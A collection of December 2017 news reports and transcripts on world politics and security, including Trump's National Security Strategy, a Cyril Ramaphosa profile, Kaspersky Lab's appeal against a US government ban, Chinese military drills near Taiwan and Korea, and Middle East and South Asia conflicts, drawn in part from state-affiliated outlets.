The president's supporters, such as parliament member Joaquim Batista Correia, from the PRS party, say it is PAIGC that is holding up action. Fifteen members of the PAIGC party have defected to the president's side and support the current prime minister. Correia says they shot themselves in the foot [causing themselves difficulty] by not reaching an agreement within their own party.

"There are 15 deputies who are not with their party, so they don't have a majority. We can have a consensus in democracy, and democracy is the majority," said Correia.

Whether its the PAIGC or the president who is at fault, for residents like Eduardo, an agreement cannot come soon enough.

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Remarks by the Vice President Introducing the President for Remarks on the Administration's National Security Strategy

December 18, 2017

The Ronald Reagan Building and International Trade Center

Washington, D.C.

2:00 P.M. EST

THE VICE PRESIDENT: Thank you. Secretary Mattis, Secretary Tillerson, members of the Cabinet, members of Congress, members of the armed forces and law enforcement community from across this country, good afternoon and thank you all for being here as President Donald Trump articulates his vision to put the national security of America first.

President Trump has no higher priority than the safety and security of the American people. Since the outset of our administration, he's worked tirelessly to make America stronger and safer than ever before.

President Trump knows that American strength and security depends on a vibrant and growing economy. That's why this President has championed free and fair trade. He's rolled back federal red tape in record numbers. He's unleashed American energy. And under President Trump's leadership, this week, Congress will pass the largest tax cut in American history. (Applause.)

But to ensure the safety and security of the American people, our President has been working tirelessly from the first day of this administration  defending our borders, enforcing our laws, removing dangerous illegal criminals from our streets. And illegal crossings at our southern border are already down by more than 50 percent.

Under President Trump's leadership, we're also rebuilding our military and making the strongest fighting force in history stronger still. The President has already signed the largest increase in defense spending in nearly a decade. And just last week, President Donald Trump signed into law one of the largest investments in our national defense since the days of Ronald Reagan. (Applause.)

With renewed American leadership, we're achieving real results on the international stage. Our NATO allies are paying more toward our common defense. North Korea is isolated as never before. This President has put Iran on notice, and he's put the war in Afghanistan on a path to victory. And thanks to the leadership of our Commander-in-Chief and the courage of our armed forces, ISIS is on the run. Their capital has fallen, and their so-called caliphate has crumbled across Syria and Iraq. (Applause.)

In less than a year, President Trump has made enormous progress to promote peace through American strength. And today, President Trump will take another crucial step to ensure the safety and security of our country far into the future as he announces to the American people and to our allies and adversaries across the wider world a national security strategy that puts America first.

So with gratitude for his unwavering commitment to make America safe again, it is now my high honor and distinct privilege to introduce to you the 45th President of the United States of America, President Donald Trump.

END

2:03 P.M. EST

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Trump: US National Security Strategy Envisions World Energy Dominance

Sputnik News

02:17 19.12.2017

On Monday, US President Donald Trump unveiled his first National Security Strategy, outlining the major threats facing the country, as well as his administration's plans to address them.

WASHINGTON (Sputnik)  The new US National Security Strategy supports American dominance and independence in the energy sector, US President Donald Trump stated on Monday during his speech following the unveiling of the document.

Meantime, the United States is also seeking a partnership with Russia and China, but in a way that protects US national interests, US President Donald Trump stated on Monday.

"We also face rival powers, Russia and China that seek to challenge American influence, values and wealth," Trump said. "We will attempt to build a great partnership with those and other countries but in a manner that always protects our national interest."

Since taking office, Trump has rolled back regulations that hindered the construction of domestic pipeline projects such as the Dakota Access and Keystone XL pipelines.

"The strategy  embraces a future of American energy dominance and self sufficiency," Donald Trump said in a speech.

In June, Trump announced six new energy initiatives aimed at achieving US energy dominance around the world. His initiatives touched on nuclear energy, coal, trade barriers, a US-Mexican pipeline, offshore leasing and Liquefied Natural Gas (LNG).

The United States recently started to export LNG to some European countries and is eager to strike long-term contracts in addition to limiting Russian supplies.

The Nord Stream 2 AG said in August that the US sanctions threat against Russia was an attempt to undermine the position of a future commercial competitor.

US to Work Closely With Foreign Allies to Implement New Strategy

US Secretary of State Rex Tillerson said in a statement on Monday that the United States will closely work with both federal agencies and international partners to implement the new National Security Strategy.

"President Trump's new National Security Strategy brings to bear all elements of American power to protect our people, generate new economic opportunities, and advance our interests and democratic principles," Tillerson said. "The State Department will work closely with other federal agencies and our allies and partners around the world to implement this strategy."

Tillesron noted that the United States faces both unconventional threats from non-state actors and challenges to its economic and national security from traditional state actors.

"Whether the threats are rogue nations seeking nuclear weapons, terrorists plotting to attack our homeland, or malicious cyber actors seeking to damage and destabilize our critical systems and infrastructure, we must remain vigilant against those who would do harm to our people and our way of life," he said.

North Korea Issue 'Will Be Taken Care Of'

The United States has no choice but to take care of the North Korea issue, which should have been resolved by previous administrations, President Donald Trump said in a speech on Monday.

"This situation [North Korea] should have been taken care of long before I got into office, when it was much easier to handle. But it will be taken care of. We have no choice," Trump said.

The United States and its partners have coordinated efforts in putting maximum pressure on North Korea and will take all necessary steps to isolate the regime of Kim Jong-un, Trump said, adding that there was still a lot more work to do.

According to the US National Security Strategy, the United States will be ready to respond to any aggressive action from North Korea with overwhelming force.

The last US National Security Strategy was issued by former President Barack Obama on February 6, 2015.

 Sputnik

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Matamela Cyril Ramaphosa

President Jacob Zuma announced his resignation with immediate effect on 14 February 2018. In a 30-minute televised address from the Union Buildings in Pretoria, 75-year-old Zuma said: "Even though I disagree with the decision of the leadership of my organisation, I have always been a disciplined member of the ANC. I have therefore come to the decision to resign as president of the republic with immediate effect." Zuma's statement came after the ANC gave him an ultimatum to resign or be recalled in a letter delivered by the party's secretary general Ace Magashul. The ANC announced that their MPs would vote with opposition parties in support of a motion of no confidence against Zuma.

ANC leader Cyril Ramaphosa called a meeting of the party's national executive for 12 February 2018 to discuss Zuma's position as president of the country "with care and purpose" as Ramaphosa and his allies lobby for Zuma to step down. Our people want this matter finalized. The National Executive Committee will be doing precisely that. We know you want closure on this matter," Ramaphosa told a crowd of supporters in Cape Town.

South African vice president Cyril Ramaphosa won the ANC party leadership election 18 December 2017, boosting his chances of succeeding Jacob Zuma as the president of the country. The 65-year-old was contesting the partys top post against former African Union Commission chairperson Nkosazana Dlamini-Zuma, who hoped to become the first woman leader of the ruling party, and possibly the first female South African president. He garnered 2440 votes to Dlamini-Zumas 2261. He received huge backing from the countrys largest trade union COSATU and the National Union of Mineworkers. Should he go on to win the 2019 presidential election, Ramaphosa will become South Africas fifth president.

Matamela Cyril Ramaphosa [ SIH-rehl rah-mah-POH-sah], a self-made millionaire who is one of South Africas richest men, was appointed the Deputy President of the Republic of South Africa on 25 May 2014. Ramaphosa was appointed Chairman of the National Planning Commission on 3 June 2014. In December 2012, he was elected Deputy President of the African National Congress (ANC). There are about 170 McDonald's fast-food restaurants in South Africa. And every one of them is owned by Ramaphosa.

Ramaphosa is a former union leader turned businessman, and served as chairman of the assembly that drafted the nations progressive constitution. As a union leader, he led the nations largest-ever strike in 1987. Today, hes among South Africas richest men, with an estimated wealth of $675 million. He also does not grant many interviews. He is widely recognised as a successful businessman and respected politician and commended for his humility.

Ramaphosa was born in Soweto on 17 November 1952. Ramaphosa is the second of the three children of Erdmuth and Samuel Ramaphosa, a retired policeman. Ramaphosa completed his schooling at Mphaphuli High School in Sibasa, South Africa in 1971. He holds a law degree from the University of South Africa obtained in 1981. Ramaphosa has also received several honorary doctorates from local and international universities, including the University of Massachusetts, the University of Cape Town, the National University of Lesotho, the University of KwaZulu-Natal, and the University of the North.

Ramaphosa began his studies at the University of the North in 1972, where he became involved in student politics, joining the South African Student Organisation (SASO) and the Black People's Convention (BPC). His credentials for the struggle against apartheid can be traced to his activism in student politics at the University of the North (now University of Limpopo).

He was detained in 1974 for organising pro-Frelimo rallies that were held to celebrate the independence of Mozambique. He was detained for the second time in 1976 following the Soweto student uprising and later imprisoned. However, no amount of intimidation by the security forces could deter him from pursuing the noble objective of fighting for a free and democratic South Africa.

After completing his law studies in 1981, Ramaphosa joined the Council of Unions of South Africa (CUSA) as a legal advisor. When the government and the Chamber of Mines announced their decision to allow black mine workers to join unions, CUSA propelled Ramaphosa into establishing the National Union of Mine-workers (NUM) in 1982, which mobilised extensively against oppression. In the eyes of many black mine workers, he was a true compatriot who fought for the transformation of labour relations in the mining industry under the apartheid government. The union that was to become "a thorn in the flesh of mine bosses" had very humble beginnings. There were no funds to run the union and recruiting was difficult as mine bosses would not allow meetings to take place on mine premises. Ramaphosa, clad in a black leather jacket, would move around the goldfields at weekends, recruiting mine workers.

Fearlessly, he steered NUM to focus its campaigns on wages and working conditions for black mining workers. In effect, the union won scores of significant victories through bargaining and the courts. Understanding the need to stand up against the oppressors, Ramaphosa led NUM to a three-week strike in 1987 after a wage deadlock with the Chamber of Mines. The strike saw a halt in production at half of South Africas gold mines and at least one-fifth of the coal mines. This cost the industry millions of rands a day as this sector largely depended on its black work force. His achievements in the NUM include growing the unions membership from 6 000 in 1982 to 300 000 in 1992. Ramaphosa was elected to the position of general secretary, a position he held until he resigned from the union in 1991 (following his election to SG of the ANC).

In 1991, he was elected ANC secretary-general and subsequently became head of the ANC team that negotiated the transition to democracy. When Nelson Mandela was released from prison, Cyril Ramaphosa was on the National Reception Committee. Following a long and intensive history in student and trade-union politics, and playing a leading role in the Mass Democratic Movement that preceded the unbanning of the African National Congress (ANC), Ramaphosa hit the headlines as he introduced Nelson Mandela to the thousands of supporters outside the Cape Town City Hall, where Nelson Mandela delivered his first public speech in 30 years.

In July 1991, the ANC held its first conference after the unbanning of the liberation movements. Ramaphosa was elected secretary general of the ANC. He became part of the leadership core that emerged from this conference with a mandate to negotiate a new Constitution with the then National Party (NP) government. In this regard, he rose to prominence for his role as head of the ANC delegation that negotiated the end of apartheid with the government in November 1991. After the first democratic election in 1994, he became a member of Parliament and was later elected chairperson of the Constitutional Assembly where he worked tirelessly; and built a partnership with his NP counterpart, Roelf Meyer, in what was to be a long-time symbolism of reconciliation and collaboration for the common good.

Ramaphosa has impeccable ANC credentials: he has served the party for decades and once aspired to be deputy president under Nelson Mandela. When that didnt happen, he refused to serve in Mandelas cabinet. Many South Africans saw him as the most credible politician of the post-Mandela generation, and were disappointed when Ramaphosa withdrew from politics to become a businessman.

In 2007 most discounted Cyril Ramaphosa's chances of succeeding Mbeki as ANC President, despite his unmatched respect from both grassroots and ANC leaders and widespread agreement that he would make a solid ANC President. Some party elders broke with the tradition of solving problems behind closed doors. Instead, they publicly entreated Thabo Mbeki and Jacob Zuma to step aside and allow others, such as businessman Cyril Ramaphosa, to step forward.

Three different explanations were commonly cited in explaining Ramaphosa's lack of momentum: (1) he naively played by the rules by not campaigning while others campaigned extensively; (2) he had been actively thwarted by Mbeki who did not trust or like him; and, (3) he did not have strong presidential aspirations. The truth probably lay in a combination of all three: or perhaps he really meant it when he said he didn't want the job and wasn't running. Ramaphosa diligently obeyed the ANC's mantra that the party picks its leader, not the other way around, but had been left in Mbeki's, Zuma's, and Tokyo Sexwale's dust in the meantime.

After he lost the race to become President of South Africa to Thabo Mbeki, he resigned from his political positions in January 1997 and moved to the private sector. He was the executive chairperson of Shanduka Group, which he founded in 2001. Ramaphosa became the First Deputy Chairperson of Commonwealth Business Council. He served as the deputy chairperson of the National Planning Commission from 2010 until 2014.

Ramaphosa sat on the board of Lonmin, the platinum mining giant where police shot and killed 34 striking miners in 2012. Some of Ramaphosas e-mails to government officials came under scrutiny in the inquiry into the Lonmin killings. The commission revealed that Ramaphosa sent an email to Lonmin management and government officials in which he said the events around the strike were "plainly dastardly criminal acts and must be characterized as such." Economic Freedom Fighters leader Julius Malema accused Ramaphosa of having a hand in the 2012 killing. The final inquiry report absolved Ramaphosa.

Ramaphosa received the Olof Palme prize in Stockholm in 1987 and was included among the Time's 100 Most Influential People in the World in 2007. In 2009, Ramaphosa was awarded the National Order of the Baobab in Silver by President Jacob Zuma for his contribution to the multiparty negotiations and for chairing the Constitutional Assembly to draft the new Constitution.

He is married to Dr Tshepo Motsepe and they have four children. Ramaphosa made a dramatic confession about an extramarital affair, as he moves to clear his name amid signs of a dirty tricks campaign to derail his bid for the ANC presidency. In an exclusive interview with the Sunday Times 01 September 2017, Ramaphosa said the affair, with a Limpopo doctor had ended eight years ago. "I had a relationship with only one person and it ended. I dealt with it with my wife. We now have a professional relationship." Ramaphosa said some of the other seven women named as his "girlfriends" in a document circulated on social media this week were in fact students he and his wife, Tshepo Motsepe, were assisting financially. "I am not a blesser. My wife and I support 54 young people every month - 30 females and 24 males. We are transforming people's lives." Blessers are said to be like Sugar Daddies but richer. The term describes someone, usually an older man with a lot of money, who provides things like money, expensive gifts and luxurious trips to young women in exchange for sexual favours.

Ramaphosa was widely seen as the ANC presidential hopeful for the party's "anti-Zuma" camp. The other front-runner to lead the ANC was Zuma's ex-wife, Nkosazana Dlamini-Zuma, who was widely seen as having the president's support. Whoever led the party ahead of 2019 elections would almost certainly become South Africa's next president.







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Kaspersky Lab Appeals To U.S. Court To Overturn Government Ban

RFE/RL December 18, 2017

The Russian cybersecurity firm Kaspersky Lab says it has asked a federal court to overturn a ban on the use of its products in U.S. government agencies, claiming that the move has violated the company's right to due process.

The appeal by the Moscow-based firm was announced in a December 18 statement by its chief executive, Yevgeny Kaspersky.

The U.S. Department of Homeland Security (DHS) in September ordered all U.S. federal agencies to phase out the use of Kaspersky products, citing "ties between certain Kaspersky officials and Russian intelligence and other government agencies."

A $700-billion defense policy bill signed into law by U.S. President Donald Trump last week also bans the use of the company's antivirus software by U.S. government agencies.

Yevgeny Kaspersky, who was trained at a KGB technical university, has repeatedly denied allegations that the company is linked to Russian intelligence and security agencies.

"What to do when banned without evidence and the right to be heard? Well, we're securing our rights by taking this to the courts. Why? We've done nothing wrong," he said on Twitter on December 18.

Kaspersky said in his open letter that the DHS move to ban his firm's products "has harmed Kaspersky Lab's reputation and its commercial operations without any evidence of wrongdoing by the company."

A group of top U.S. intelligence officials who testified before a Senate committee earlier this year all stated they would not use Kaspersky antivirus software in their systems.

The company also made headlines on December 4 when a former U.S. National Security Agency employee pleaded guilty to keeping classified defense information on his home computer.

The employee, Nghia Hoang Pho, had used Kaspersky Lab software on that computer, and Russian hackers were believed to have exploited the software to steal the top-secret documents, according to news reports.

Kaspersky has claimed that the computer had been infected with other malware that had been controlled by a China-based server.

With reporting by AFP and Reuters

Source: https://www.rferl.org/a/kaspersky-lab-appeals-us-federal- court-overturn-government-ban/28925497.html

Copyright (c) 2017. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036.

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China, ROK agree to advance relations along right track

People's Daily Online

(Xinhua) 07:29, December 18, 2017

BEIJING, Dec. 14 (Xinhua) -- The leaders of China and the Republic of Korea (ROK) on Thursday agreed to advance bilateral relations to ensure the long-term stability of their ties.

The commitment was made during talks between Chinese President Xi Jinping and his ROK counterpart Moon Jae-in in Beijing.

Xi welcomed Moon on his state visit to China for the 25th anniversary of the establishment of diplomatic ties between the two countries.

China and the ROK are friendly neighbors and strategic cooperation partners, Xi said.

He said the two countries have made remarkable progress in exchanges and cooperation in various fields, which has brought tremendous benefits to both sides.

There have been some twists and turns in China-ROK relations, which have provided enlightenment for both sides on how to create a better future together on the basis of mutual respect for each other's core interests, said Xi.

He said China attaches great importance to relations with the ROK and is ready to work with the ROK to maintain the original intention of establishing diplomatic relations and take full account of the well-being of the two peoples.

Both countries should uphold the basic principle of respecting each other's core interests and major concerns as well as the principle of treating each other as neighbors with sincerity, he said.

Xi also suggested that the two sides adhere to the principle of mutual benefit and win-win cooperation to ensure that the development of bilateral relations is on the right track.

The 19th National Congress of the Communist Party of China (CPC) has brought broader prospects for China's cooperation with its neighboring countries, including the ROK, said Xi.

He called on the two sides to strengthen political communication, cement the foundation of mutual trust, and make good use of the exchange mechanism between legislative bodies and political parties of the two countries.

China welcomes the ROK's participation in the Belt and Road construction, said Xi, hoping to promote the alignment of the Belt and Road Initiative with the ROK's development strategy.

He called for increased exchanges in areas such as youth, education, science and technology, media, sports, health and local affairs, for the long-term and stable development of bilateral ties.

Moon's visit coincided with China's annual memorial for the victims of the Nanjing Massacre, which fell on Wednesday. Moon extended his empathy to the victims.

This was Moon's fifth trip to China and the first as ROK president. He expressed his admiration for China's development achievements.

Calling the two countries important trading partners, Moon said the development of regional countries is closely linked with China's Two Centenary Goals.

The ROK expects joint efforts with China to cement political trust and friendship between the two peoples, boost cooperation in various areas and coordination in global and regional affairs, Moon said.

The ROK hopes to participate in the Belt and Road Initiative and promote the building of a community with a shared future for mankind, he said.

The two leaders also exchanged their views on the situation on the Korean Peninsula.

"We must unswervingly uphold the goal of a nuclear-free peninsula and never allow war or chaos on the peninsula," said Xi.

China believes that ultimately, the Korean Peninsula issue could only be solved through dialogue and consultation, he said.

China and the ROK have important common interests in maintaining peace and stability on the Korean Peninsula, Xi added.

China will continue to strengthen communication and coordination with the ROK on maintaining stability and preventing wars on the Korean Peninsula and promoting peace and talks, said Xi.

He said China supports the continued improvement of the relations between the two countries on the Korean Peninsula through dialogues and contacts, which will help ease tensions and finally settle the issue.

Moon said the ROK is firmly committed to resolving the Korean Peninsula nuclear issue through peaceful means, and is willing to work with China to safeguard peace and stability in the region.

Xi reaffirmed China's position on the deployment of the Terminal High Altitude Area Defense (THAAD) system in the ROK and hoped the ROK will properly deal with the issue.

After their talks, the two leaders witnessed the signing of cooperative documents in areas such as economic and trade, green and ecological industries, environment, health, agriculture, energy and Winter Olympics.

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China military aircraft fly over Sea of Japan, around Taiwan as part of drills

Iran Press TV

Mon Dec 18, 2017 10:27AM

China's air force has conducted another round of long-range drills, sending its fighter jets and bombers into international waters in the Sea of Japan and around self-ruled Taiwan.

The air force said in a statement on Monday that the fighter and bomber aircraft flew through the Tsushima Strait that separates South Korea from Japan as part of routine and pre-planned exercises.

Air force spokesman Shen Jinke said the Sea of Japan is not Japan's, and the drills were lawful and reasonable.

The maneuvers prompted South Korea's fighter jets to scramble. The South's Joint Chiefs of Staff said in a statement that five Chinese military planes were spotted entering the Korean Air Defense Identification Zone.

The Chinese aircraft also flew through Japan's air defense identification zone, it claimed.

The statement said that South Korea's "fighter planes took normal tactical measures, identifying the models of the Chinese planes and flying aerial surveillance until they left."

Without any mention of the South Korea's aircraft, the Chinese air force said it "responded to interference from foreign military aircraft," but was able to achieve the aim of their drill.

Meanwhile, Taiwan's military said that China had carried out a separate drill at the same time around the island. Taiwan's Defense Ministry said Japan sent F-15 fighters to intercept Chinese aircraft.

There was no immediate reaction from Tokyo.

China considers Taiwan part of its territory, and expects other countries to adhere to the policy of "One China," which recognizes Chinese sovereignty over the territory.

The US, however, has briefly angered Beijing after Congress passed in September the National Defense Authorization Act for the 2018 fiscal year, which authorizes mutual visits by navy vessels between Taiwan and the United States.

The move prompted a senior Chinese diplomat to warn this month China would invade Taiwan if any US warships made port visits to the island.

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Fire at your desire

Most of the household energy requirement in rural areas is met by biomass energy. Biofuels such as coal, wood and charcoal provide energy in hotels, restaurants and brick kilns.
China Holds Drills Near Taiwan for Second Time in Row - Reports

Sputnik News

13:45 18.12.2017(updated 13:52 18.12.2017)

China has intensified its drills in the region amid growing tensions over Taiwan after the US president signed the National Defense Authorization Act that lays the grounds for future mutual naval visits between Taipei and Washington.

China's air force has conducted long-range drills near Taiwan and in the Sea of Japan, following last week's "island encirclement patrols," Reuters reported.

Fighter and bomber aircraft flew through the Tsushima Strait between South Korea and Japan into the international waters of the Sea of Japan, Chinese Air Force spokesman Shen Jinke said, emphasizing that the drills were routine and lawful.

However, the drills prompted a reaction from South Korea, with fighter jets being scrambled in response. According to a statement issued by South Korea's Joint Chiefs of Staff, five Chinese military aircraft flew through the Korean and Japanese Air Defense Identification Zones.

"Our fighter planes took normal tactical measures, identifying the models of the Chinese planes and flying aerial surveillance until they left," the South Korean statement said.

A Chinese air force spokesman, in his turn, said that despite South Korea's move, the drills achieved the aims.

Drills Near Taiwan

At the same time, Beijing held another drill, with China's aircraft flying through the Bashi Channel that separates Taiwan from the Philippines and then returning back through the Strait of Miyako between Taiwan and Japan, the Taiwanese military said, adding that it saw Japan sending an F-15 in response.

However, the Japanese authorities haven't issued any statement yet.

The drills follow last week's long-haul flight through the Bashi Channel and Miyako waterway by a Chinese mainland Yun-8 transport plane, with Taiwan sending aircraft and ships to monitor the situation.

China has intensified its drills in the region amid growing tensions over Taiwan, as Beijing has accused Washington of meddling in its internal affairs after President Donald Trump signed the National Defense Authorization Act into law last week.

The act lays the ground for future mutual naval drills

between Taiwan and the United States, though, officially, the US doesn't recognize Taiwan as a separate country, with Donald Trump saying that Washington sticks to the "One China" policy.

While the People's Republic of China and Taiwan, officially known as the Republic of China, formally remain a single country as each considers the other as "renegade provinces," Beijing has repeatedly called it "the most sensitive issue" in its relationships with the United States.

The mainland China authorities think that the president of Taiwan and head of the Democratic Progressive Party, Tsai Ing-wen, may call for a referendum on the island's formal independence next year.

 Sputnik

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Iraqi security forces kill Daesh local leader in Diyala

Iran Press TV

Mon Dec 18, 2017 03:56PM

Iraqi security forces have killed a high-profile commander of Daesh Takfiri terrorist group along with two of his associates in the country's eastern province of Diyala.

Furat al-Tamimi, a provincial official, told Arabic-language al-Sumaria television network that government troops ambushed Ali Mohamed Sahi and his two aides south of Beldruz town, which lies 30 kilometers (18.6 miles) east of the provincial capital city of Baquba, on Monday and shot them dead.

Tamimi said Sahi was among the first generation of Daesh leaders in Diyala, who pledged allegiance to the terror group.

Sahi fled Mosul to Diyala after the city was recaptured by Iraqi troops and pro-government fighters from Popular Mobilization Units, commonly known by the Arabic world Hashd al-Sha'abi, in July.

Tamimi noted that Daesh sleeper cells remain a serious security threat in Diyala.

Meanwhile, an Iraqi military source, requesting anonymity, said more than 35,000 members of Iraqi security forces and Hashd al-Sha'abi were killed during the three-year war against Daesh.

The source added that another 35,000 people also sustained injuries in the campaign.

He further noted that some the victims have suffered severe injuries; and need to be taken abroad for medical treatment but the Baghdad government cannot afford the substantial fees.

On December 9, Iraq's Prime Minister Haider al-Abadi declared the end of military operations against the Daesh terrorist group in the Arab country.

"Our forces are in complete control of the Iraqi-Syrian border and I therefore announce the end of the war against Daesh," Abadi told a conference in Baghdad.

Daesh began a terror campaign in Iraq in 2014, overrunning vast swathes in lightning attacks.

Iraqi forces then launched operations to eliminate Daesh and retake lost territory, and last month, Iraqi forces liberated Rawa, the last remaining town in the grip of the terror outfit.

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Mayor of Libya's Misrata kidnapped, killed

Iran Press TV

Mon Dec 18, 2017 10:53AM

The mayor of Misrata, Libya's third-largest city, has been abducted and killed shortly after returning from a foreign trip.

Mohamad Eshtewi's body was found dumped in the street, security sources said on Monday.

He had been kidnapped by unknown assailants upon leaving the airport in the western coastal city late Sunday.

The mayor was returning from a trip to Turkey when his car was ambushed by the abductors.

The city hospital said it had received Eshtewi's body bearing gunshot wounds. His brother was also with him in the car and was wounded in the incident.

A security official said it was unclear who was behind the attack. There was no immediate claim of responsibility for the killing from any of the active armed groups in the area.

The port city of Misrata, with about 400,000 people, is about 200 kilometers east of the capital, Tripoli, and lies on the Mediterranean coast.

Libya plunged into chaos in 2011, when its long-time dictator, Muammar Gaddafi, was ousted, and rival militia groups and factions started vying for power and territory.

Misrata had been relatively calm until now. It is one of the few places where foreign businesspeople, who fear poor security elsewhere, have presence.

Despite the peace in Misrata, the port city has not been immune to deadly terrorist attacks.

In October, a bomb blast at Misrata's court complex left four people dead and more than 40 others injured.

The attack was claimed by the Takfiri terror group Daesh.

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Pakistan Accuses US of Exporting War, Instability to South Asia

By Ayaz Gul December 18, 2017

Pakistan is accusing the United States of "exporting war" and "perpetual instability" in South Asia, and of "speaking Indian language" in bilateral dealings.

The allegations leveled by National Security Adviser Nasir Janjua again underscore the deterioration in Islamabad's relations with Washington. It also strengthened reported suggestions the two countries are on a collision course, particularly since August when President Donald Trump unveiled a new policy for Afghanistan and South Asia.

The U.S. policy accused Pakistan of harboring terrorist groups, including the Haqqani Network, that are fueling the Afghan war and plotting attacks against India. It also focused on using intensified military means to defeat the Afghan Taliban and called on New Delhi to expand its role in Afghanistan, ignoring Islamabad's opposition and objection.

Janjua reiterated Pakistan's objections while addressing a security seminar Monday in Islamabad. He rejected terror allegations against his country, saying the United States was scapegoating Islamabad for failing to stabilize Afghanistan.

"Pakistan made irrelevant in Afghanistan, scapegoating [and] lumping all the blame [on Islamabad], speaking Indian language on every subject, planing to downgrade all ties, U.S. lawmakers are asking to designate Pakistan as a state sponsoring terrorism," Janjua said.

He went on to complain that despite being a non-NATO ally, Pakistan's attempts to procure U.S. defense equipment have been blocked and its nuclear weapons program is being opposed.

"India has become the preferred ally in Afghanistan and the military solution [for ending the war in Afghanistan] is again given the preference," he noted.

Janjua said the way forward for the United States in Afghanistan is to focus on finding a political solution rather than relying on military might. Washington, he added, should appoint a "political authority" to Afghanistan as empowered as its military commander in the country to promote a political resolution.

Alleging the U.S. wants to contain China's rise and the resurgence of Russia in the region, Janjua said Washington is opposed to Islamabad's multi-billion dollar economic corridor project being funded by Beijing under its global Belt and Road Initiative.

"To mitigate the challenges  China and Russia  and to ensure self-survival, [the] U.S. is exporting war and perpetual instability in South Asia," he said. "India is being supported and encouraged to promote U.S. regional interests. "

US side

There was no immediate reaction from U.S. officials to Janjua's statements.

U.S. Defense Secretary Jim Mattis earlier this month visited Pakistan where he called on civilian and military leaders to redouble their efforts against terrorism. Officials revealed few details of the talks, but described them as positive and productive, dismissing the element of confrontation.

But on Monday, Janjua, who attended the meetings with Mattis, underscored the prevailing mutual disagreements and tensions.

The Trump administration has also warned it may designate certain officials of the Pakistani spy agency, ISI, as global terrorists for their ties to militant groups, including Haqqanis.

Just days before Mattis' visited Islamabad, the CIA director warned if Pakistan failed to act decisively against the Afghan Taliban and Haqqanis, the United States would unilaterally do so.

Last week, Secretary of State Rex Tillerson said in Washington the administration wants to work with Islamabad "in a positive way" to dealing with sanctuaries on Pakistani soil.

"We're willing to share information with them and we want them to be successful," said Tillerson. "But we cannot continue with the status quo, where terrorist organizations are allowed to find safe haven inside of Pakistan."

He was responding to Islamabad's assertions there are no havens in the country and if U.S. authorities shared "actionable intelligence" with regard to terrorist sanctuaries, Pakistani forces are ready to take action against them.

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Seoul Scrambles Jets in Response to Chinese Bombers Entering Its Airspace

Sputnik News

00:02 19.12.2017

The South Korean Air Force sent fighter jets into the sky Monday in response to an unannounced intrusion of the Korean Air Defense Identification Zone (KADIZ) by five People's Liberation Army Air Force (PLAAF) aircraft from China, the Korea Times reports.

The PLAAF aircraft group consisted of two nuclear-capable H-6 strategic bombers, two J-11 fighter planes, and one Tu-154 spy plane, according to South Korea's Joint Chiefs of Staff.

A group of F-15K fighters were marshalled to monitor the activity after the PLAAF aircraft entered KADIZ Monday morning, the Korea Times reports. The F-15Ks "identified the types of Chinese military aircraft" that were present and "took normal tactical measures until the Chinese planes left," a Joint Chiefs of Staff official told the news outlet.

Beijing reportedly communicated with the South Korean military via a hotline to inform Seoul that the PLAAF aircraft were conducting routine training operations and did not intend to enter South Korea's airspace, the South Korean military official noted.

"We contacted the Chinese side through our hotline and they said they had been conducting regular exercises," the defense official told reporters, adding, "We are still in the process of analyzing the Chinese military's exact intentions."

The location of Chinese warplanes alarming the South Korean air force is an area where Japanese, South Korean and Chinese ADIZs overlap, according to local reports.

"It appears that China's goal was to reconfirm its ADIZ and conduct reconnaissance of Japan," Park Byung-kwang, a researcher at the Institute for National Security Strategy in Seoul, told Korea Joongang daily.

Since South Korean President Moon Jae-in and Chinese President Xi Jinping recently held a five-hour summit last Thursday, "it doesn't seem like China held the drills targeting [South] Korea," the researcher said.

Moon and Xi apparently "completely overcame the awkwardness" regarding the Terminal High Altitude Area Defense (THAAD) missile batteries installed by the US in South Korea, a source close to Moon told the Yonhap News Agency. "Even though the THAAD issue isn't resolved completely, the frequency and intensity with which China raised the issue became markedly lower," the aide said Sunday.

 Sputnik

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US-backed Kurdish armed militants 'traitors' to Syria: President Assad

Iran Press TV

Mon Dec 18, 2017 03:33PM

Syrian President Bashar al-Assad says all US-backed Kurdish armed militants are "traitors" to the Syrian nation, ramping up the rhetoric particularly against the Kurdish People's Protection Units (YPG), which are mainly active in northeastern areas of the Arab country through receiving vital substantial air and armament support from Washington.

The Syrian leader made the remarks in a meeting with a high-profile official and economic delegation from Russia, led by Russian Deputy Prime Minister Dmitry Rogozin, in the Syrian capital of Damascus on Monday, Syria's official news agency, SANA, reported.

"When we talk about those referred to as 'the Kurds', they are in fact not just Kurds. All those who work for a foreign country, mainly those under American command... are traitors" regardless of their names, Assad said.

The YPG is the main part of a larger coalition of fighters  the so-called Syrian Democratic Forces (SDF)  which was engaged in operations aimed at liberating Raqqah, the former de facto capital of the Daesh Takfiri terrorist group in the war-torn country. Washington considers the SDF, which also includes Arab militants, as its main proxy force fighting on the ground in Syria.

Damascus regards the Kurdish militia coalition as an illegitimate foreign force operating on the Syrian soil, just as is the case with the so-called US-led military coalition that has been conducting airstrikes against purported Daesh targets since September 2014 without any authorization from the Damascus government or a UN mandate.

In contrast, Russian jets have been conducting air raids against Daesh targets and those of other terror outfits inside Syria at the Damascus government's request since September 2015. The airstrikes have helped Syrian forces advance against anti-Damascus militants, who have been wreaking havoc in the Arab country since 2011.

President Assad further said Washington tried to focus the international community's attention solely on Daesh in an attempt to distract the world's attention from other terror groups, the most prominent of them being the Jabhat Fateh al-Sham Takfiri terrorist group, which was formerly known as al-Nusra Front. He noted that Takfiri terrorists were still wreaking havoc in Syria due to the support they received from the West.

The Syrian leader also touched upon the issue of Syria's next year presidential election, saying that he would welcome any United Nations role in the Syrian vote as long as it was linked with the country's sovereignty.

He also called Russia a friendly country to the Syrian nation, saying Moscow adopted an honorable stance towards Syria and its people during the past six years of fighting against brutal militancy inside the Arab country. Assad also noted that it was natural for Russia to be an important partner in the process of reconstruction of Syria in various sectors.

Rogozin, for his part, underlined the considerable progress in Damascus-Moscow economic cooperation and the efforts made by a Syrian-Russian joint committee for expanding this cooperation further to benefit the two countries. The Russian official said that the joint initiative would also include exploitation of a Syrian phosphate deposit.

Rogozin promised that his respective country would be fully prepared to help Syria rebuild its energy facilities.

The Russian delegation included deputy ministers of foreign affairs, defense, economic development, energy, transport, industry, and trade, in addition to the Russian envoy in Damascus and directors of major Russian companies.

The meeting was also attended by Syrian deputy prime minister and Foreign Minister Walid al-Muallem, along with the Syrian ministers of finance, petroleum, electricity, and transport.

Assad: France standard bearer for supporting terrorism in Syria

